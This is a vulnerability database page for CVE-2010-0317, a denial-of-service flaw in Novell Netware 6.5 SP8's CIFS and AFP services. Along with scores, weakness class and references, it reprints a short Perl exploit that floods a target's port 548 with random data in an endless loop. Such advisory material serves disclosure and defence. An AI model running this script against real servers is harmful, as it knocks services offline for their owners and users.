CVE-2010-0317 : Detail

CVE-2010-0317

10.82%V3
Network
2010-01-15
17h00 +00:00
2018-10-10
16h57 +00:00
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CVE Descriptions

Novell Netware 6.5 SP8 allows remote attackers to cause a denial of service (NULL pointer dereference, memory consumption, ABEND, and crash) via a large number of malformed or AFP requests that are not properly handled by (1) the CIFS functionality in CIFS.nlm Semantic Agent (Build 163 MP) 3.27 or (2) the AFP functionality in AFPTCP.nlm Build 163 SP 3.27. NOTE: some of these details are obtained from third party information.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-399 Category : Resource Management Errors
Weaknesses in this category are related to improper management of system resources.

Metrics

Metrics Score Severity CVSS Vector Source
V2 7.8 AV:N/AC:L/Au:N/C:N/I:N/A:C [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 11009

Publication date : 2010-01-04 23h00 +00:00
Author : Francis Provencher
EDB Verified : Yes

#!/usr/bin/perl # Novell Netware CIFS And AFP Remote Memory Consumption DoS # Platform: Novell Netware 6.5 SP8 # Found by Francis Provencher for Protek Research Lab's # http://protekresearch.blogspot.com/ # {PRL} Novell Netware CIFS.nlm Remote Memory Consumption Denial of Service # Here is a modified version from the script written by the researcher Jeremy Brown # http://jbrownsec.blogspot.com/2009/12/writing-code-that-breaks-code.html # use IO::Socket; use String::Random; $target = $ARGV[0]; $port = 548; $protocol = tcp; $maxsize = 666; $random = 0; if((!defined($target) || !defined($port) || !defined($protocol) || !defined($maxsize))) { print "usage: $0 <target> \n"; exit; } while(1) { $sock = IO::Socket::INET->new(Proto=>$protocol, PeerHost=>$target, PeerPort=>$port) or logit(); $rand = new String::Random; $random = $rand->randpattern("." x rand($maxsize)) . "\r\n\r\n"; $sock->send($random); close($sock); }

Products Mentioned

Configuraton 0

Novell>>Netware >> Version 6.5

References

http://www.vupen.com/english/advisories/2010/0041
Tags : vdb-entry, x_refsource_VUPEN
http://www.securitytracker.com/id?1023400
Tags : vdb-entry, x_refsource_SECTRACK
http://www.securityfocus.com/bid/37616
Tags : vdb-entry, x_refsource_BID
http://www.exploit-db.com/exploits/11009
Tags : exploit, x_refsource_EXPLOIT-DB
http://secunia.com/advisories/38114
Tags : third-party-advisory, x_refsource_SECUNIA